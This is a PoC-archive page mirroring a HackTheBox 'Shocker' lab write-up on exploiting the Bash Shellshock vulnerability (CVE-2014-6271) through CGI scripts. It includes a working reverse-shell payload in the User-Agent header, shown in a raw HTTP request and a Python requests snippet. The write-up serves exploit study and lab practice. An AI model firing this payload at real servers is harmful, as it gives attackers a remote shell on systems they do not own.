POC详情: 69b962f04b1d5f5019b0cf56bbd4acfa40639293

来源
关联漏洞
标题: GNU Bash 远程代码执行漏洞 (CVE-2014-6271)
描述:GNU Bash是美国软件开发者布莱恩-福克斯(Brian J. Fox)为GNU计划而编写的一个Shell(命令语言解释器),它运行于类Unix操作系统中(Linux系统的默认Shell),并能够从标准输入设备或文件中读取、执行命令,同时也结合了一部分ksh和csh的特点。 GNU Bash 4.3及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd中的ForceComman
介绍
# ExploitDev Journey #7 | CVE-2014-6271 | Bash - 'Shellshock' Environment Variables Command Injection
Original Exploit: https://www.exploit-db.com/exploits/34766 <br>


**Exploit name:** Bash Shellshock RCE <br>
**CVE**: 2014-6271 <br>
**Lab**: Shocker - HackTheBox


### Description
There is a bash vulnerability that allows an attacker to execute system commands on a remote target machine. Often web servers use environment variables and these variables can be used to exploit vulnerabilities.
For example in Python-Flask, [we have environment variables to turn on the debug mode](https://flask.palletsprojects.com/en/1.1.x/config/#environment-and-debug-features) which leaks information if allowed on a production (real-world) environment.

We exploit this vulnerability usually through a CGI script running on the server, the first step is to find that.

<br>

### How it works
Now you understand a thing or two about environment variables. But how do we pass these environment variables to the target and how do we exploit them through web apps? <br>
One of the best and most in-depth explanations about Shellshock vulnerability can be found [here](https://securityintelligence.com/articles/shellshock-vulnerability-in-depth/).

There are many examples available on what your commands should look like and here is an example. Here I want to print the number 1337: <br>
<img src="https://i.ibb.co/6FHmBHN/shocker1.png">

As you can see all methods are working but it's all about that semicolon preceding `/bin/bash`, that's all there is to it, but when you want to send out commands from a web app you will normally face some kind of restrictions on how you can send it, that's why there is a universal command for exploiting this vulnerability used by every exploit developer out there that gets the job done.

You might be familiar with the old OS command injection bypasses where unsanitized data could be sent to the server, you could use pipes or semicolons and execute system commands, but here things are different because you have to exploit a bash vulnerability but it serves the same purpose: execute system commands.

This vulnerability is exploited through the `User-Agent` HTTP header and [this is the best explanation](https://security.stackexchange.com/questions/73028/why-shellshock-works-in-useragent-string) I had found while writing this exploit: <br>
A web server could use the contents of the User-Agent header for logging purposes, to control access ("deny all bots") or return alternative responses ("mobile-friendly pages"). The validity of a header value depends on the application, it is not possible to write on rule that works with everything.

<br>

### Writing the exploit
Let's exploit this vulnerability manually and play around with the commands to see what we can do. So the following command is basically used in every exploit out there:
`() { :;}; /bin/bash -i >& /dev/tcp/127.0.0.1/1337 0>&1`

Let's try different commands, for example, can we echo something back: <br>
<img src="https://i.ibb.co/GJt3vsK/shocker3.png"> <br>
A 500 error is an indication that the server is actually vulnerable, problem is when you don't get it: <br>
<img src="https://i.ibb.co/ZxcvdSs/shocker4.png"> <br>
The first screenshot shows that we sent our payload to the main webpage but the second screenshot shows that we send our request to the CGI script running on the server. A `Internal Server Error` is always a good indication of existence of shellshock.

Let's get a shell:
```
GET /cgi-bin/user.sh HTTP/1.1
Host: 10.129.112.201
User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.3/1337 0>&1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```


Now to programmatically do this, all we need to do is to craft a user-agent header along with our reverse shell command and they look like this:
```py
headers = {'User-Agent': '() { :;}; /bin/bash -i >& /dev/tcp/%s/%s 0>&1' % (lhost, lport)}
try:
    print("[...] Sending payload.")
    requests.get(url=rhost, headers=headers, timeout=10)
except requests.exceptions.Timeout:
    sys.exit("[ # ] Timeout occured, could be that host is dead or could be that exploit worked, check your listener.")

```

As said earlier, you would need to find a CGI script running on the server, in this lab machine the script can be found here:
```
http://target.htb:80/cgi-bin/user.sh
```

When you get a reverse shell, notice that it's a bash shell: <br>
<img src="https://i.ibb.co/Npj8zhm/shocker2.png"> <br>

<br>

### Final thoughts
In order to find this vulnerability on the shocker machine I had to use a directory bruteforcer to find script files. Originally I didn't know it was about shocker but now that you do, try to carefully inspect CGI scripts on a web application. Remember that not always you will have scripts with an extension, sometimes they might just be files with no extension at all. <br>
In this exploit development session I covered exploitation of shellshock and finding it, as discussed a 500 internal server error is always a good indication but it's not guaranteed because every server is configured in a different way. In the real world if a website uses Cloudflare, your response might be a 500 but that does not necessarily mean that the website is vulnerable.



文件快照

[4.0K] /data/pocs/69b962f04b1d5f5019b0cf56bbd4acfa40639293 ├── [ 729] exploit.py └── [5.3K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。